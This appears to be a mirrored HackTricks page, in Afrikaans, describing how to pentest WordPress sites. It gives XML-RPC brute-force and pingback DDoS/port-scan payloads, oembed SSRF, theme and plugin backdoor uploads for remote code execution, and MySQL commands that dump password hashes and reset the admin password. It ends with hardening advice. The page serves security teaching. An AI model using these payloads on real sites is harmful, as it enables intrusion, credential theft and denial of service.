mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
400 lines
19 KiB
Markdown
400 lines
19 KiB
Markdown
# Wordpress
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Basiese Inligting
|
|
|
|
- **Gelaaide** lêers gaan na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
|
- **Temalêers kan gevind word in /wp-content/themes/,** so as jy 'n paar php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur **tema twentytwelve** te gebruik, kan jy die **404.php** lêer in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **toegang**.
|
|
|
|
- **Nog 'n nuttige url kan wees:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
|
|
|
- In **wp-config.php** kan jy die wortelwagwoord van die databasis vind.
|
|
- Standaard aanmeldpade om te kontroleer: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
|
|
|
### **Hoof WordPress Lêers**
|
|
|
|
- `index.php`
|
|
- `license.txt` bevat nuttige inligting soos die weergawe van WordPress wat geïnstalleer is.
|
|
- `wp-activate.php` word gebruik vir die e-pos aktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.
|
|
- Aanmeldmappies (kan hernoem word om dit te verberg):
|
|
- `/wp-admin/login.php`
|
|
- `/wp-admin/wp-login.php`
|
|
- `/login.php`
|
|
- `/wp-login.php`
|
|
- `xmlrpc.php` is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data toelaat om met HTTP oorgedra te word as die vervoermeganisme en XML as die koderingmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
|
- Die `wp-content` gids is die hoofgids waar plugins en temas gestoor word.
|
|
- `wp-content/uploads/` Is die gids waar enige lêers wat na die platform gelaai word, gestoor word.
|
|
- `wp-includes/` Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets.
|
|
- `wp-sitemap.xml` In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lêer met al openbare plasings en publiek navraagbare plasings tipes en taksonomieë.
|
|
|
|
**Post eksploitatie**
|
|
|
|
- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasis gasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabel voorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing.
|
|
|
|
### Gebruikers Toestemmings
|
|
|
|
- **Administrateur**
|
|
- **Redakteur**: Publiseer en bestuur sy en ander plasings
|
|
- **Skrywer**: Publiseer en bestuur sy eie plasings
|
|
- **Bydraer**: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
|
|
- **Tekenaar**: Blader deur plasings en wysig hul profiel
|
|
|
|
## **Passiewe Enumerasie**
|
|
|
|
### **Kry WordPress weergawe**
|
|
|
|
Kontroleer of jy die lêers `/license.txt` of `/readme.html` kan vind
|
|
|
|
Binne die **bronskode** van die bladsy (voorbeeld van [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
|
|
|
- grep
|
|
```bash
|
|
curl https://victim.com/ | grep 'content="WordPress'
|
|
```
|
|
- `meta name`
|
|
|
|
.png>)
|
|
|
|
- CSS skakel lêers
|
|
|
|
.png>)
|
|
|
|
- JavaScript lêers
|
|
|
|
.png>)
|
|
|
|
### Kry Plugins
|
|
```bash
|
|
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
|
```
|
|
### Kry Temas
|
|
```bash
|
|
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
|
```
|
|
### Trek weergawes in die algemeen uit
|
|
```bash
|
|
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
|
|
|
```
|
|
## Aktiewe enumerasie
|
|
|
|
### Plugins en Temas
|
|
|
|
Jy sal waarskynlik nie al die moontlike Plugins en Temas kan vind nie. Om al hulle te ontdek, sal jy **aktief 'n lys van Plugins en Temas moet Brute Force** (hopelik is daar outomatiese gereedskap wat hierdie lyste bevat).
|
|
|
|
### Gebruikers
|
|
|
|
- **ID Brute:** Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Force:
|
|
```bash
|
|
curl -s -I -X GET http://blog.example.com/?author=1
|
|
```
|
|
As die antwoorde **200** of **30X** is, beteken dit dat die id **geldige** is. As die antwoord **400** is, dan is die id **ongeldige**.
|
|
|
|
- **wp-json:** Jy kan ook probeer om inligting oor die gebruikers te verkry deur te vra:
|
|
```bash
|
|
curl http://blog.example.com/wp-json/wp/v2/users
|
|
```
|
|
'n Ander `/wp-json/` eindpunt wat 'n bietjie inligting oor gebruikers kan onthul, is:
|
|
```bash
|
|
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
|
```
|
|
Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos gemaak het. **Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**.
|
|
|
|
Neem ook kennis dat **/wp-json/wp/v2/pages** IP-adresse kan lek.
|
|
|
|
- **Inlog gebruikersnaam enumerasie**: Wanneer jy inlog in **`/wp-login.php`** is die **boodskap** **anders** as die aangeduide **gebruikersnaam bestaan of nie**.
|
|
|
|
### XML-RPC
|
|
|
|
As `xml-rpc.php` aktief is, kan jy 'n geloofsbriewe brute-force uitvoer of dit gebruik om DoS-aanvalle op ander hulpbronne te loods. (Jy kan hierdie proses outomatiseer[ deur dit te gebruik](https://github.com/relarizky/wpxploit) byvoorbeeld).
|
|
|
|
Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_ en stuur hierdie versoek:
|
|
|
|
**Kontroleer**
|
|
```html
|
|
<methodCall>
|
|
<methodName>system.listMethods</methodName>
|
|
<params></params>
|
|
</methodCall>
|
|
```
|
|

|
|
|
|
**Geloofsbriewe Bruteforce**
|
|
|
|
**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is sommige van die metodes wat gebruik kan word om geloofsbriewe te brute-force. As jy enige van hulle kan vind, kan jy iets soos stuur:
|
|
```html
|
|
<methodCall>
|
|
<methodName>wp.getUsersBlogs</methodName>
|
|
<params>
|
|
<param><value>admin</value></param>
|
|
<param><value>pass</value></param>
|
|
</params>
|
|
</methodCall>
|
|
```
|
|
Die boodskap _"Onkorrekte gebruikersnaam of wagwoord"_ binne 'n 200 kode antwoord moet verskyn as die geloofsbriewe nie geldig is nie.
|
|
|
|
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
|
|
|
.png>)
|
|
|
|
Met die korrekte geloofsbriewe kan jy 'n lêer oplaai. In die antwoord sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
|
```html
|
|
<?xml version='1.0' encoding='utf-8'?>
|
|
<methodCall>
|
|
<methodName>wp.uploadFile</methodName>
|
|
<params>
|
|
<param><value><string>1</string></value></param>
|
|
<param><value><string>username</string></value></param>
|
|
<param><value><string>password</string></value></param>
|
|
<param>
|
|
<value>
|
|
<struct>
|
|
<member>
|
|
<name>name</name>
|
|
<value><string>filename.jpg</string></value>
|
|
</member>
|
|
<member>
|
|
<name>type</name>
|
|
<value><string>mime/type</string></value>
|
|
</member>
|
|
<member>
|
|
<name>bits</name>
|
|
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
|
|
</member>
|
|
</struct>
|
|
</value>
|
|
</param>
|
|
</params>
|
|
</methodCall>
|
|
```
|
|
Daar is ook 'n **sneller manier** om akrediteer te brute-force met **`system.multicall`** aangesien jy verskeie akrediteer op dieselfde versoek kan probeer:
|
|
|
|
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Om 2FA te omseil**
|
|
|
|
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om in te log met daardie akrediteer terwyl jy 2FA omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan uitvoer, kan doen nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
|
|
|
**DDoS of poort skandering**
|
|
|
|
As jy die metode _**pingback.ping**_ in die lys kan vind, kan jy die Wordpress dwing om 'n arbitrêre versoek na enige gasheer/poort te stuur.\
|
|
Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om **toegang** tot een **plek** te kry (so 'n **DDoS** word in daardie plek veroorsaak) of jy kan dit gebruik om **Wordpress** te laat **skandeer** van 'n interne **netwerk** (jy kan enige poort aandui).
|
|
```html
|
|
<methodCall>
|
|
<methodName>pingback.ping</methodName>
|
|
<params><param>
|
|
<value><string>http://<YOUR SERVER >:<port></string></value>
|
|
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
|
|
</value></param></params>
|
|
</methodCall>
|
|
```
|
|

|
|
|
|
As jy **faultCode** met 'n waarde **groter** as **0** (17) kry, beteken dit die poort is oop.
|
|
|
|
Kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.
|
|
|
|
**DDoS**
|
|
```html
|
|
<methodCall>
|
|
<methodName>pingback.ping</methodName>
|
|
<params>
|
|
<param><value><string>http://target/</string></value></param>
|
|
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
|
|
</params>
|
|
</methodCall>
|
|
```
|
|
.png>)
|
|
|
|
### wp-cron.php DoS
|
|
|
|
Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\
|
|
Wanneer hierdie lêer **geaccess** word, word 'n "**zware**" MySQL **query** uitgevoer, so dit kan deur **aanvallers** gebruik word om 'n **DoS** te **veroorsaak**.\
|
|
Ook, standaard, word die `wp-cron.php` op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
|
|
|
|
Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).
|
|
|
|
### /wp-json/oembed/1.0/proxy - SSRF
|
|
|
|
Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te access en die Wordpress-webwerf mag 'n versoek aan jou maak.
|
|
|
|
Dit is die antwoord wanneer dit nie werk nie:
|
|
|
|
.png>)
|
|
|
|
## SSRF
|
|
|
|
{{#ref}}
|
|
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
|
{{#endref}}
|
|
|
|
Hierdie hulpmiddel kontroleer of die **methodName: pingback.ping** bestaan en vir die pad **/wp-json/oembed/1.0/proxy** en as dit bestaan, probeer dit om dit te exploiteer.
|
|
|
|
## Outomatiese Hulpmiddels
|
|
```bash
|
|
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
|
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
|
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
|
```
|
|
## Kry toegang deur 'n bietjie te oorskryf
|
|
|
|
Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bietjie van enige wordpress-lêer omdraai. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omdraai om die NOT (`!`) operasie te NOP.
|
|
```php
|
|
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
|
return new WP_Error(
|
|
```
|
|
## **Paneel RCE**
|
|
|
|
**Wysig 'n php van die tema wat gebruik word (admin geloofsbriewe benodig)**
|
|
|
|
Uiterlik → Tema Redigeerder → 404 Sjabloon (aan die regterkant)
|
|
|
|
Verander die inhoud na 'n php shell:
|
|
|
|
.png>)
|
|
|
|
Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang verkry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
|
|
|
### MSF
|
|
|
|
Jy kan gebruik:
|
|
```bash
|
|
use exploit/unix/webapp/wp_admin_shell_upload
|
|
```
|
|
to get a session.
|
|
|
|
## Plugin RCE
|
|
|
|
### PHP plugin
|
|
|
|
Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.\
|
|
Skep jou php backdoor met byvoorbeeld:
|
|
|
|
.png>)
|
|
|
|
Voeg dan 'n nuwe plugin by:
|
|
|
|
.png>)
|
|
|
|
Laai die plugin op en druk Installeer Nou:
|
|
|
|
.png>)
|
|
|
|
Klik op Procced:
|
|
|
|
.png>)
|
|
|
|
Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell opgelaai sien:
|
|
|
|
.png>)
|
|
|
|
Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer:
|
|
|
|
.png>)
|
|
|
|
### Uploading and activating malicious plugin
|
|
|
|
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en kan benut word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg:
|
|
|
|
1. **Plugin Verkryging**: Die plugin word verkry van 'n bron soos Exploit DB soos [**hier**](https://www.exploit-db.com/exploits/36374).
|
|
2. **Plugin Installasie**:
|
|
- Navigeer na die WordPress-dashboard, gaan dan na `Dashboard > Plugins > Upload Plugin`.
|
|
- Laai die zip-lêer van die afgelaaide plugin op.
|
|
3. **Plugin Aktivering**: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.
|
|
4. **Eksploitering**:
|
|
- Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit benut word aangesien dit bekend is om kwesbaar te wees.
|
|
- Die Metasploit-raamwerk bied 'n eksploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongeoorloofde toegang tot die webwerf verleen.
|
|
- Dit word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf te exploiteer.
|
|
|
|
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard vir die installasie en aktivering van die plugin uitbeeld. Dit is egter belangrik om op te let dat die eksploitering van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetrasietoetsing met eksplisiete toestemming.
|
|
|
|
**Vir meer gedetailleerde stappe, kyk:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
|
|
|
## From XSS to RCE
|
|
|
|
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n skrip wat ontwerp is om 'n **Cross-Site Scripting (XSS)** kwesbaarheid na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress te eskaleer. Vir meer inligting, kyk [**hierdie pos**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir WordPress weergawes 6.X.X, 5.X.X en 4.X.X. en laat toe om:**
|
|
- _**Privilegie Eskalasie:**_ Skep 'n gebruiker in WordPress.
|
|
- _**(RCE) Aangepaste Plugin (backdoor) Oplaai:**_ Laai jou aangepaste plugin (backdoor) na WordPress op.
|
|
- _**(RCE) Ingeboude Plugin Wysig:**_ Wysig 'n Ingeboude Plugin in WordPress.
|
|
- _**(RCE) Ingeboude Tema Wysig:**_ Wysig 'n Ingeboude Tema in WordPress.
|
|
- _**(Aangepas) Aangepaste Eksploite:**_ Aangepaste Eksploite vir Derdeparty WordPress Plugins/Themes.
|
|
|
|
## Post Exploitation
|
|
|
|
Trek gebruikersname en wagwoorde uit:
|
|
```bash
|
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
|
```
|
|
Verander admin wagwoord:
|
|
```bash
|
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
|
```
|
|
## Wordpress Plugins Pentest
|
|
|
|
### Aanvaloppervlak
|
|
|
|
Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om kwesbaarhede in sy funksionaliteit te vind. Jy kan vind hoe 'n plugin funksionaliteit mag blootstel in die volgende opsomming en 'n paar voorbeelde van kwesbare plugins in [**hierdie blogpos**](https://nowotarski.info/wordpress-nonce-authorization/).
|
|
|
|
- **`wp_ajax`**
|
|
|
|
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, magtiging of outentikasie-foute bevat. Boonop is dit 'n soort van gereeld dat hierdie funksies beide die outentikasie en magtiging op die bestaan van 'n wordpress nonce gaan baseer wat **enige gebruiker wat in die Wordpress-instantie geoutentiseer is, mag hê** (ongeag sy rol).
|
|
|
|
Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:
|
|
```php
|
|
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
|
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
|
```
|
|
**Die gebruik van `nopriv` maak die eindpunt toeganklik vir enige gebruikers (selfs nie-geverifieerde nie).**
|
|
|
|
> [!CAUTION]
|
|
> Boonop, as die funksie net die magtiging van die gebruiker met die funksie `wp_verify_nonce` nagaan, dan kyk hierdie funksie net of die gebruiker ingelogde is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae-bevoegde gebruikers mag toegang hê tot hoë-bevoegde aksies.
|
|
|
|
- **REST API**
|
|
|
|
Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n rest AP te registreer met die `register_rest_route` funksie:
|
|
```php
|
|
register_rest_route(
|
|
$this->namespace, '/get/', array(
|
|
'methods' => WP_REST_Server::READABLE,
|
|
'callback' => array($this, 'getData'),
|
|
'permission_callback' => '__return_true'
|
|
)
|
|
);
|
|
```
|
|
Die `permission_callback` is 'n terugroep funksie wat nagaan of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.
|
|
|
|
**As die ingeboude `__return_true` funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.**
|
|
|
|
- **Direkte toegang tot die php-lêer**
|
|
|
|
Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lêer te benader, gaan dit deur enige gebruiker uitgebuit kan word.
|
|
|
|
## WordPress Beskerming
|
|
|
|
### Gereelde Opdaterings
|
|
|
|
Maak seker dat WordPress, plugins, en temas op datum is. Bevestig ook dat outomatiese opdatering geaktiveer is in wp-config.php:
|
|
```bash
|
|
define( 'WP_AUTO_UPDATE_CORE', true );
|
|
add_filter( 'auto_update_plugin', '__return_true' );
|
|
add_filter( 'auto_update_theme', '__return_true' );
|
|
```
|
|
Ook, **installeer slegs betroubare WordPress-inproppe en temas**.
|
|
|
|
### Sekuriteitsinproppe
|
|
|
|
- [**Wordfence Sekuriteit**](https://wordpress.org/plugins/wordfence/)
|
|
- [**Sucuri Sekuriteit**](https://wordpress.org/plugins/sucuri-scanner/)
|
|
- [**iThemes Sekuriteit**](https://wordpress.org/plugins/better-wp-security/)
|
|
|
|
### **Ander Aanbevelings**
|
|
|
|
- Verwyder standaard **admin** gebruiker
|
|
- Gebruik **sterk wagwoorde** en **2FA**
|
|
- Periodiek **hersien** gebruikers **toestemmings**
|
|
- **Beperk aanmeldpogings** om Brute Force-aanvalle te voorkom
|
|
- Hernoem **`wp-admin.php`** lêer en laat slegs toegang intern of vanaf sekere IP-adresse toe.
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|